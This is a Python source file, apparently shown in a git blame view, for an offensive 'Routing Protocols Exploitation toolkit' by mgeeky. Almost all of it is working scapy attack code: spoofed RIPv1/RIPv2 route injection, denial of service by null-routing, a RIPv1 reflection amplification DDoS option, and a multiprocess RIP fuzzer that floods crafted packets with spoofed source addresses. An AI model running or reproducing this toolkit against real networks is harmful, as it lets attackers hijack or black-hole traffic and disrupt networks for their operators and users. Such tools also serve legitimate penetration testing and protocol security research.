2019-02-19 14:47:00 +01:00
#!/usr/bin/python
#
# Currently implemented attacks:
# - sniffer - (NOT YET IMPLEMENTED) Sniffer hunting for authentication strings
# - ripv1-route - Spoofed RIPv1 Route Announcements
# - ripv1-dos - RIPv1 Denial of Service via Null-Routing
# - ripv1-ampl - RIPv1 Reflection Amplification DDoS
# - ripv2-route - Spoofed RIPv2 Route Announcements
# - ripv2-dos - RIPv2 Denial of Service via Null-Routing
# - rip-fuzzer - RIPv1/RIPv2 protocol fuzzer, covering RIPAuth and RIPEntry structures fuzzing
#
# Python requirements:
# - scapy
#
2021-10-24 23:11:42 +02:00
# Mariusz Banach / mgeeky, '19, <mb@binary-offensive.com>
2019-02-19 14:47:00 +01:00
#
import sys
import socket
import fcntl
import struct
import string
import random
import commands
import argparse
import multiprocessing
try :
from scapy . all import *
except ImportError :
print ( ' [!] Scapy required: pip install scapy ' )
sys . exit ( 1 )
VERSION = ' 0.1 '
config = {
' verbose ' : False ,
' debug ' : False ,
' delay ' : 1.0 ,
' interface ' : None ,
' processors ' : 8 ,
' network ' : ' ' ,
' spoof ' : ' ' ,
' nexthop ' : ' ' ,
' netmask ' : ' ' ,
' metric ' : 0 ,
' auth-type ' : ' ' ,
' auth-data ' : ' ' ,
}
attacks = { }
stopThreads = False
#
# ===============================================
#
def flooder ( num , packets ) :
Logger . dbg ( ' Starting task: {} , packets num: {} ' . format ( num , len ( packets ) ) )
for p in packets :
if stopThreads : break
try :
if stopThreads :
raise KeyboardInterrupt
sendp ( p , verbose = False )
if len ( p ) < 1500 :
Logger . dbg ( " Sent: \n " + str ( p ) )
except KeyboardInterrupt :
break
except Exception as e :
pass
Logger . dbg ( ' Stopping task: {} ' . format ( num ) )
class Logger :
@staticmethod
def _out ( x ) :
if config [ ' verbose ' ] or config [ ' debug ' ] :
sys . stdout . write ( x + ' \n ' )
@staticmethod
def out ( x ) :
Logger . _out ( ' [.] ' + x )
@staticmethod
def info ( x ) :
Logger . _out ( ' [.] ' + x )
@staticmethod
def dbg ( x ) :
if config [ ' debug ' ] :
Logger . _out ( ' [dbg] ' + x )
@staticmethod
def err ( x ) :
sys . stdout . write ( ' [!] ' + x + ' \n ' )
@staticmethod
def fail ( x ) :
Logger . _out ( ' [-] ' + x )
@staticmethod
def ok ( x ) :
Logger . _out ( ' [+] ' + x )
# Well, not very fuzzy that fuzzer I know.
class Fuzzer :
@staticmethod
def get8bitFuzzes ( ) :
out = set ( )
for i in range ( 9 ) :
out . add ( 2 * * i - 1 )
out . add ( 2 * * i - 2 )
out . add ( 2 * * i )
out . add ( 2 * * i + 1 )
#out.add(2 ** i + 2)
return [ k for k in out if abs ( k ) < 2 * * 8 ]
@staticmethod
def get16bitFuzzes ( ) :
out = set ( )
for i in range ( 17 ) :
out . add ( 2 * * i - 1 )
out . add ( 2 * * i - 2 )
out . add ( 2 * * i )
out . add ( 2 * * i + 1 )
#out.add(2 ** i + 2)
return [ k for k in out if abs ( k ) < 2 * * 16 ]
@staticmethod
def get32bitFuzzes ( ) :
out = set ( )
for i in range ( 33 ) :
out . add ( 2 * * i - 1 )
out . add ( 2 * * i - 2 )
out . add ( 2 * * i )
out . add ( 2 * * i + 1 )
#out.add(2 ** i + 2)
return [ k for k in out if abs ( k ) < 2 * * 32 ]
@staticmethod
def deBrujinPattern ( length ) :
if length == 0 : return ' '
if length > = 20280 :
out = ' '
out + = Fuzzer . deBrujinPattern ( 20280 - 1 )
out + = " A " * ( length - 20280 - 1 )
return out
pattern = ' '
for upper in string . ascii_uppercase :
for lower in string . ascii_lowercase :
for digit in string . digits :
if len ( pattern ) < length :
pattern + = upper + lower + digit
else :
out = pattern [ : length ]
return out
return pattern
@staticmethod
def getFuzzyStrings ( maxLen = - 1 , allOfThem = True ) :
out = set ( )
for b in Fuzzer . get16bitFuzzes ( ) :
out . add ( Fuzzer . deBrujinPattern ( b ) )
if allOfThem :
for b in range ( 0 , 65400 , 256 ) :
if maxLen != - 1 and b > maxLen : break
out . add ( Fuzzer . deBrujinPattern ( b ) )
if maxLen != - 1 :
return set ( [ x for x in out if len ( x ) < = maxLen ] )
return out
@staticmethod
def get32bitProblematicPowersOf2 ( ) :
return Fuzzer . get32bitFuzzes ( )
class RoutingAttack :
def __init__ ( self ) :
pass
def injectOptions ( self , params , config ) :
pass
def launch ( self ) :
pass
class Sniffer ( RoutingAttack ) :
def __init__ ( self ) :
pass
def injectOptions ( self , params , config ) :
self . config = config
self . config . update ( params )
def processPacket ( pkt ) :
# TODO
raise Exception ( ' Not yet implemented. ' )
def launch ( self ) :
# TODO
raise Exception ( ' Not yet implemented. ' )
def packetCallback ( d ) :
self . processPacket ( d )
try :
pkts = sniff (
count = 1000 ,
filter = ' udp port 520 ' ,
timeout = 10.0 ,
prn = packetCallback ,
iface = self . config [ ' interface ' ]
)
except Exception as e :
if ' Network is down ' in str ( e ) :
pass
else :
Logger . err ( ' Exception occured during sniffing: {} ' . format ( str ( e ) ) )
except KeyboardInterrupt :
pass
class RIPv1v2Attacks ( RoutingAttack ) :
ripAuthTypes = {
' simple ' : 2 , ' md5 ' : 3 , ' md5authdata ' : 1
}
def __init__ ( self ) :
self . config = {
' interface ' : ' ' ,
' delay ' : 1 ,
' network ' : ' ' ,
' metric ' : 10 ,
' netmask ' : ' 255.255.255.0 ' ,
' nexthop ' : ' 0.0.0.0 ' ,
' spoof ' : ' ' ,
' version ' : 0 ,
}
@staticmethod
def getRipAuth ( config ) :
ripauth = RIPAuth ( )
ripauth . authtype = RIPv1v2Attacks . ripAuthTypes [ config [ ' auth-type ' ] ]
if ripauth . authtype == 2 :
ripauth . password = config [ ' auth-data ' ]
elif ripauth . authtype == 1 :
ripauth . authdata = config [ ' auth-data ' ]
elif ripauth . authtype == 3 :
ripauth . digestoffset = 0
ripauth . keyid = 0
ripauth . authdatalen = len ( config [ ' auth-data ' ] )
ripauth . seqnum = 0
return ripauth
def injectOptions ( self , params , config ) :
self . config = config
self . config . update ( params )
Logger . info ( " Fake Route Announcement to be injected: " )
Logger . info ( " \t Network: {} " . format ( config [ ' network ' ] ) )
Logger . info ( " \t Netmask: {} " . format ( config [ ' netmask ' ] ) )
Logger . info ( " \t Nexthop: {} " . format ( config [ ' nexthop ' ] ) )
Logger . info ( " \t Metric: {} " . format ( config [ ' metric ' ] ) )
if not config [ ' network ' ] or not config [ ' netmask ' ] \
or not config [ ' nexthop ' ] or not config [ ' metric ' ] :
Logger . err ( " Module needs following options to operate: network, netmask, nexthop, metric " )
return False
if params [ ' version ' ] != 1 and params [ ' version ' ] != 2 :
Logger . err ( " RIP protocol version must be either 1 or 2 as passed in attacks params! " )
return False
return True
def launch ( self ) :
packet = self . getPacket ( )
Logger . info ( " Sending RIPv {} Spoofed Route Announcements... " . format ( self . config [ ' version ' ] ) )
sendp ( packet , loop = 1 , inter = self . config [ ' delay ' ] , iface = config [ ' interface ' ] )
def getPacket ( self ) :
networkToAnnounce = self . config [ ' network ' ]
metricToAnnounce = self . config [ ' metric ' ]
netmaskToAnnounce = self . config [ ' netmask ' ]
nexthopToAnnounce = self . config [ ' nexthop ' ]
spoofedIp = self . config [ ' spoof ' ]
etherframe = Ether ( ) # Start definition of Ethernet Frame
ip = IP ( ) # IPv4 packet
udp = UDP ( )
udp . sport = 520 # According to RFC1058, 520/UDP port must be used for solicited communication
udp . dport = 520
rip = RIP ( )
ripentry = RIPEntry ( ) # Announced route
ripentry . AF = " IP " # Address Family: IP
if ' AF ' in self . config . keys ( ) :
ripentry . AF = self . config [ ' AF ' ]
ripentry . addr = networkToAnnounce # Spoof route for this network...
ripentry . metric = metricToAnnounce
if self . config [ ' version ' ] == 1 :
ip . dst = ' 255.255.255.255 ' # RIPv1 broadcast destination
etherframe . dst = ' ff:ff:ff:ff:ff:ff '
rip . version = 1 # RIPv1
rip . cmd = 2 # Command: Response
elif self . config [ ' version ' ] == 2 :
ip . dst = ' 224.0.0.9 ' # RIPv2 multicast destination
rip . version = 2 # RIPv2
rip . cmd = 2 # Command: Response
ripentry . RouteTag = 0
ripentry . mask = netmaskToAnnounce
ripentry . nextHop = nexthopToAnnounce # ... to be going through this next hop device.
if ' rip_cmd ' in self . config . keys ( ) :
rip . cmd = self . config [ ' rip_cmd ' ]
if not self . config [ ' auth-type ' ] :
rip_packet = etherframe / ip / udp / rip / ripentry
else :
ripauth = RIPv1v2Attacks . getRipAuth ( self . config )
Logger . info ( ' Using RIPv2 authentication: type= {} , pass= " {} " ' . format (
self . config [ ' auth-type ' ] , self . config [ ' auth-data ' ]
) )
rip_packet = etherframe / ip / udp / rip / ripauth / ripentry
rip_packet [ IP ] . src = spoofedIp
return rip_packet
class RIPFuzzer ( RoutingAttack ) :
ripCommands = (
1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11
)
def __init__ ( self ) :
self . config = {
' interface ' : ' ' ,
' network ' : ' 192.168.1.0 ' ,
' metric ' : 10 ,
' netmask ' : ' 255.255.255.0 ' ,
' nexthop ' : ' 0.0.0.0 ' ,
' spoof ' : ' ' ,
}
def injectOptions ( self , params , config ) :
self . config = config
self . params = params
return True
def launch ( self ) :
packets = set ( )
Logger . info ( " Generating fuzzed packets for RIPv1... " )
packets . update ( self . generateRipv1Packets ( ) )
Logger . info ( " Generating fuzzed packets for RIPv2... " )
packets . update ( self . generateRipv2Packets ( ) )
Logger . info ( " Collected in total {} packets to send. Sending them out... " . format ( len ( packets ) ) )
packetsLists = [ [ ] for x in range ( self . config [ ' processors ' ] ) ]
packetsList = list ( packets )
for i in range ( len ( packetsList ) ) :
packetsLists [ i % config [ ' processors ' ] ] . append ( packetsList [ i ] )
jobs = [ ]
for i in range ( config [ ' processors ' ] ) :
task = multiprocessing . Process ( target = flooder , args = ( i , packetsLists [ i ] ) )
jobs . append ( task )
task . daemon = True
task . start ( )
print ( ' [+] Started flooding. Press CTRL-C to stop that. ' )
try :
while jobs :
jobs = [ job for job in jobs if job . is_alive ( ) ]
except KeyboardInterrupt :
stopThreads = True
print ( ' \n [>] Stopping... ' )
stopThreads = True
time . sleep ( 3 )
Logger . ok ( " Fuzzing finished. Sent around {} packets. " . format ( len ( packets ) ) )
def generateRipv1Packets ( self ) :
packets = set ( )
base = Ether ( dst = ' ff:ff:ff:ff:ff:ff ' ) / IP ( dst = ' 255.255.255.255 ' ) / UDP ( sport = 520 , dport = 520 )
# Step 1: Fuzz on Command values.
for val in set ( RIPFuzzer . ripCommands + tuple ( Fuzzer . get8bitFuzzes ( ) ) ) :
rip = RIP ( version = 1 , cmd = val )
packets . add ( base / rip )
packets . add ( base / rip / RIPEntry ( ) )
# Step 1b: Fuzz on Command values with packet filled up with data
for val in set ( RIPFuzzer . ripCommands + tuple ( Fuzzer . get8bitFuzzes ( ) ) ) :
rip = RIP ( version = 1 , cmd = val )
for data in Fuzzer . getFuzzyStrings ( ) :
if not data : data = ' '
packets . add ( base / rip / data )
packets . add ( base / rip / RIPEntry ( ) / data )
# Step 2: Fuzz on Response RIPEntry AF values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = 1 , cmd = 2 )
packets . add ( base / rip / RIPEntry ( AF = val ) )
# Step 3: Fuzz on Response RIPEntry RouteTag values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = 1 , cmd = 2 )
packets . add ( base / rip / RIPEntry ( RouteTag = val ) )
# Step 4: Fuzz on Response RIPEntry metric values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = 1 , cmd = 2 )
packets . add ( base / rip / RIPEntry ( metric = val ) )
# Step 5: Add multiple RIPEntry structures
for num in Fuzzer . get32bitProblematicPowersOf2 ( ) :
rip = RIP ( version = 1 , cmd = 2 )
entries = [ ]
try :
ipv4 = socket . inet_ntoa ( struct . pack ( ' !L ' , num ) )
except :
ipv4 = ' 127.0.0.2 '
if ( num * 20 ) > 2 * * 16 :
break
for i in range ( num ) :
entries . append ( RIPEntry ( addr = ipv4 ) )
packets . add ( base / rip / ' ' . join ( [ str ( x ) for x in entries ] ) )
return packets
def generateRipv2Packets ( self ) :
packets = set ( )
base = Ether ( ) / IP ( src = self . config [ ' spoof ' ] , dst = ' 224.0.0.9 ' ) / UDP ( sport = 520 , dport = 520 )
# Step 1: Fuzz on Command values.
for val in set ( RIPFuzzer . ripCommands + tuple ( Fuzzer . get8bitFuzzes ( ) ) ) :
rip = RIP ( version = 2 , cmd = val )
packets . add ( base / rip )
packets . add ( base / rip / RIPEntry ( ) )
# Step 1b: Fuzz on Command values with packet filled up with data
for val in set ( RIPFuzzer . ripCommands + tuple ( Fuzzer . get8bitFuzzes ( ) ) ) :
rip = RIP ( version = 2 , cmd = val )
for data in Fuzzer . getFuzzyStrings ( ) :
if not data : data = ' '
packets . add ( base / rip / data )
packets . add ( base / rip / RIPEntry ( ) / data )
# Step 2: Fuzz on Version values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = val , cmd = 1 )
packets . add ( base / rip )
packets . add ( base / rip / RIPEntry ( ) )
# Step 3: Fuzz on Authentication data values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = val , cmd = 1 )
for auth in RIPFuzzer . fuzzRipv2Auth ( ) :
packets . add ( base / rip / auth )
packets . add ( base / rip / auth / RIPEntry ( ) )
# Step 4: Fuzz on Response RIPEntry AF values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = 2 , cmd = 2 )
packets . add ( base / rip / RIPEntry ( AF = val ) )
# Step 5: Fuzz on Response RIPEntry RouteTag values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = 2 , cmd = 2 )
packets . add ( base / rip / RIPEntry ( RouteTag = val ) )
# Step 6: Fuzz on Response RIPEntry metric values.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
rip = RIP ( version = 2 , cmd = 2 )
packets . add ( base / rip / RIPEntry ( metric = val ) )
# Step 7: Add multiple RIPEntry structures
for num in Fuzzer . get32bitProblematicPowersOf2 ( ) :
rip = RIP ( version = 2 , cmd = 2 )
entries = [ ]
try :
ipv4 = socket . inet_ntoa ( struct . pack ( ' !L ' , num ) )
except :
ipv4 = ' 127.0.0.2 '
if ( num * 20 ) > 2 * * 16 :
break
for i in range ( num ) :
entries . append ( RIPEntry ( addr = ipv4 ) )
packets . add ( base / rip / ' ' . join ( [ str ( x ) for x in entries ] ) )
return packets
@staticmethod
def fuzzRipv2Auth ( ) :
auths = set ( )
# Step 1: Fuzz on RIPAuth authtype.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
ripauth = RIPAuth ( )
ripauth . authtype = val
ripauth . password = ' 0123456789abcdef '
auths . add ( ripauth )
# Step 2: Fuzz on RIPAuth md5authdata structure's digestoffset.
for val in set ( Fuzzer . get16bitFuzzes ( ) ) :
ripauth = RIPAuth ( )
ripauth . authtype = 1
ripauth . digestoffset = val
ripauth . keyid = 0
ripauth . authdatalen = ' \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 '
ripauth . seqnum = 0
auths . add ( ripauth )
# Step 3: Fuzz on RIPAuth md5authdata structure's keyid.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
ripauth = RIPAuth ( )
ripauth . authtype = 1
ripauth . digestoffset = 0
ripauth . keyid = val
ripauth . authdatalen = ' \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 '
ripauth . seqnum = 0
auths . add ( ripauth )
# Step 4: Fuzz on RIPAuth md5authdata structure's seqnum.
for val in set ( Fuzzer . get8bitFuzzes ( ) ) :
ripauth = RIPAuth ( )
ripauth . authtype = 1
ripauth . digestoffset = 0
ripauth . keyid = 0
ripauth . authdatalen = ' \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 '
ripauth . seqnum = val
auths . add ( ripauth )
# Step 5: Fuzz on RIPAuth md5authdata structure's authdatalen.
for val in set ( Fuzzer . getFuzzyStrings ( maxLen = 16 , allOfThem = False ) ) :
ripauth = RIPAuth ( )
ripauth . authtype = 1
ripauth . digestoffset = 0
ripauth . keyid = 0
ripauth . authdatalen = val
ripauth . seqnum = 0
auths . add ( ripauth )
return auths
def getHwAddr ( ifname ) :
s = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM )
info = fcntl . ioctl ( s . fileno ( ) , 0x8927 , struct . pack ( ' 256s ' , ifname [ : 15 ] ) )
return ' : ' . join ( [ ' %02x ' % ord ( char ) for char in info [ 18 : 24 ] ] )
def getIfaceIP ( iface ) :
out = shell ( " ip addr show " + iface + " | grep ' inet ' | awk ' { print $2} ' | head -1 | cut -d/ -f1 " )
Logger . dbg ( ' Interface: {} has IP: {} ' . format ( iface , out ) )
return out
def shell ( cmd ) :
out = commands . getstatusoutput ( cmd ) [ 1 ]
Logger . dbg ( ' shell( " {} " ) returned: \n " {} " ' . format ( cmd , out ) )
return out
def selectDefaultInterface ( ) :
global config
commands = {
' ip ' : " ip route show | grep default | awk ' { print $5} ' | head -1 " ,
' ifconfig ' : " route -n | grep 0.0.0.0 | grep ' UG ' | awk ' { print $8} ' | head -1 " ,
}
for k , v in commands . items ( ) :
out = shell ( v )
if len ( out ) > 0 :
Logger . dbg ( ' Default interface lookup command returned: \n {} ' . format ( out ) )
config [ ' interface ' ] = out
return out
return ' '
def parseOptions ( argv ) :
global config
print ( '''
: : Routing Protocols Exploitation toolkit
Sends out various routing protocols management frames
2021-10-24 23:11:42 +02:00
Mariusz Banach / mgeeky ' 19, <mb@binary-offensive.com>
2019-02-19 14:47:00 +01:00
v { }
''' .format(VERSION))
parser = argparse . ArgumentParser ( prog = argv [ 0 ] , usage = ' %(prog)s [options] ' )
parser . add_argument ( ' -v ' , ' --verbose ' , action = ' store_true ' , help = ' Display verbose output. ' )
parser . add_argument ( ' -D ' , ' --debug ' , action = ' store_true ' , help = ' Display debug output. ' )
parser . add_argument ( ' -d ' , ' --delay ' , type = float , default = 1.0 , help = ' Delay in seconds (float) between sending consecutive packets. Default: 1 second. Not applies to fuzzers. ' )
parser . add_argument ( ' -t ' , ' --attack ' , metavar = ' ATTACK ' , default = ' ' , help = ' Select attack to launch. One can use: " -t list " to list available attacks. ' )
parser . add_argument ( ' -i ' , ' --interface ' , metavar = ' DEV ' , default = ' ' , help = ' Select interface on which to operate. ' )
parser . add_argument ( ' -s ' , ' --spoof ' , help = ' IP address to be used as a spoofed/fake gateway, e.g. Attacker machine address. By default will try to figure out that address automatically. ' , default = ' ' )
auth = parser . add_argument_group ( ' Routing Protocol Authentication ' , ' Specifies authentication data for Routing protocol to use ' )
auth . add_argument ( ' --auth-type ' , help = ' Authentication type. Can be one of following: " simple " , " md5authdata " , " md5 " . Applies only to authentication-capable protocols, like RIPv2 ' , default = ' ' )
auth . add_argument ( ' --auth-data ' , help = ' Password / authentication data to pass in every packet. This field depends on the " --auth-type " used. ' , default = ' ' )
route = parser . add_argument_group ( ' Spoofed Route injection ' , ' Specifies fake route details to inject ' )
route . add_argument ( ' -a ' , ' --network ' , help = ' IP address of network to announce, can be paired with netmask in CIDR notation. One can use " default " for 0.0.0.0 ' )
route . add_argument ( ' -b ' , ' --netmask ' , help = ' Netmask to use (can be inferred from " --network " . Default: /24 ' , default = ' 255.255.255.0 ' )
route . add_argument ( ' -c ' , ' --nexthop ' , help = ' Spoofed next hop address. Default: 0.0.0.0. ' , default = ' 0.0.0.0 ' )
route . add_argument ( ' -m ' , ' --metric ' , help = ' Metric to be used. The lower the greater priority it gets. Default: 10 ' , type = int , default = ' 10 ' )
args = parser . parse_args ( )
if not ' attack ' in args :
Logger . err ( ' You must specify an attack to launch! ' )
return False
if args . attack == ' list ' :
print ( " Available attacks: " )
for a in attacks :
print ( " \t {} . ' {} ' - {} " . format ( a [ ' num ' ] , a [ ' name ' ] , a [ ' desc ' ] ) )
sys . exit ( 0 )
else :
att = args . attack
try :
att = int ( att )
except : pass
for a in attacks :
if att == a [ ' num ' ] or att == a [ ' name ' ] :
config [ ' attack ' ] = a
break
if ' attack ' not in config or not config [ ' attack ' ] :
Logger . err ( " Selected attack is not implemented or wrongly stated. " )
parser . print_help ( )
return False
config [ ' verbose ' ] = args . verbose
config [ ' debug ' ] = args . debug
config [ ' delay ' ] = args . delay
if args . interface != ' ' : config [ ' interface ' ] = args . interface
else : config [ ' interface ' ] = selectDefaultInterface ( )
if args . network != ' ' : config [ ' network ' ] = args . network
if args . spoof != ' ' : config [ ' spoof ' ] = args . spoof
else : config [ ' spoof ' ] = getIfaceIP ( config [ ' interface ' ] )
Logger . info ( " Using {} as local/spoof IP address " . format ( config [ ' spoof ' ] ) )
if args . netmask != ' ' : config [ ' netmask ' ] = args . netmask
if args . nexthop != ' ' : config [ ' nexthop ' ] = args . nexthop
if args . metric != ' ' : config [ ' metric ' ] = args . metric
if args . auth_type != ' ' : config [ ' auth-type ' ] = args . auth_type
if args . auth_data != ' ' : config [ ' auth-data ' ] = args . auth_data
if config [ ' auth-type ' ] != ' ' :
if config [ ' auth-data ' ] == ' ' :
Logger . err ( " You must specify authentication data along with the --auth-type. " )
return False
config [ ' auth-type ' ] = args . auth_type
config [ ' auth-data ' ] = args . auth_data
return args
def main ( argv ) :
global attacks
attacks = (
{
' num ' : 0 ,
' name ' : ' sniffer ' ,
' desc ' : ' (NOT YET IMPLEMENTED) Sniffer hunting for authentication strings. ' ,
' object ' : Sniffer ,
' params ' : {
}
} ,
{
' num ' : 1 ,
' name ' : ' ripv1-route ' ,
' desc ' : ' RIP Spoofed Route announcement ' ,
' object ' : RIPv1v2Attacks ,
' params ' : {
' version ' : 1 ,
}
} ,
{
' num ' : 2 ,
' name ' : ' ripv1-dos ' ,
' desc ' : ' RIPv1 Denial of Service by Null-routing ' ,
' object ' : RIPv1v2Attacks ,
' params ' : {
' version ' : 1 ,
' delay ' : 1 ,
' network ' : ' 0.0.0.0 ' ,
' metric ' : 1
}
} ,
{
' num ' : 3 ,
' name ' : ' ripv1-ampl ' ,
' desc ' : ' RIPv1 Reflection Amplification DDoS ' ,
' object ' : RIPv1v2Attacks ,
' params ' : {
' version ' : 1 ,
' delay ' : 0.5 ,
' network ' : ' 0.0.0.0 ' ,
' netmask ' : ' 0.0.0.0 ' ,
' nexthop ' : ' 0.0.0.1 ' ,
' metric ' : 1 ,
' AF ' : 0 , # Unspecified
' rip_cmd ' : 1 , # Request
}
} ,
{
' num ' : 4 ,
' name ' : ' ripv2-route ' ,
' desc ' : ' RIPv2 Spoofed Route announcement ' ,
' object ' : RIPv1v2Attacks ,
' params ' : {
' version ' : 2 ,
}
} ,
{
' num ' : 5 ,
' name ' : ' ripv2-dos ' ,
' desc ' : ' RIPv2 Denial of Service by Null-routing ' ,
' object ' : RIPv1v2Attacks ,
' params ' : {
' version ' : 2 ,
' delay ' : 1 ,
' network ' : ' 0.0.0.0 ' ,
' netmask ' : ' 0.0.0.0 ' ,
' nexthop ' : ' 0.0.0.1 ' ,
' metric ' : 1
}
} ,
{
' num ' : 6 ,
' name ' : ' rip-fuzzer ' ,
' desc ' : ' RIP/RIPv2 packets fuzzer ' ,
' object ' : RIPFuzzer ,
' params ' : {
}
} ,
)
opts = parseOptions ( argv )
if not opts :
Logger . err ( ' Options parsing failed. ' )
return False
if os . getuid ( ) != 0 :
Logger . err ( ' This program must be run as root. ' )
return False
load_contrib ( ' ospf ' )
load_contrib ( ' eigrp ' )
load_contrib ( ' bgp ' )
attack = config [ ' attack ' ] [ ' object ' ] ( )
print ( " [+] Launching attack: {} " . format ( config [ ' attack ' ] [ ' desc ' ] ) )
if attack . injectOptions ( config [ ' attack ' ] [ ' params ' ] , config ) :
attack . launch ( )
else :
Logger . err ( " Module prerequisite options were not passed correctly. " )
if __name__ == ' __main__ ' :
main ( sys . argv )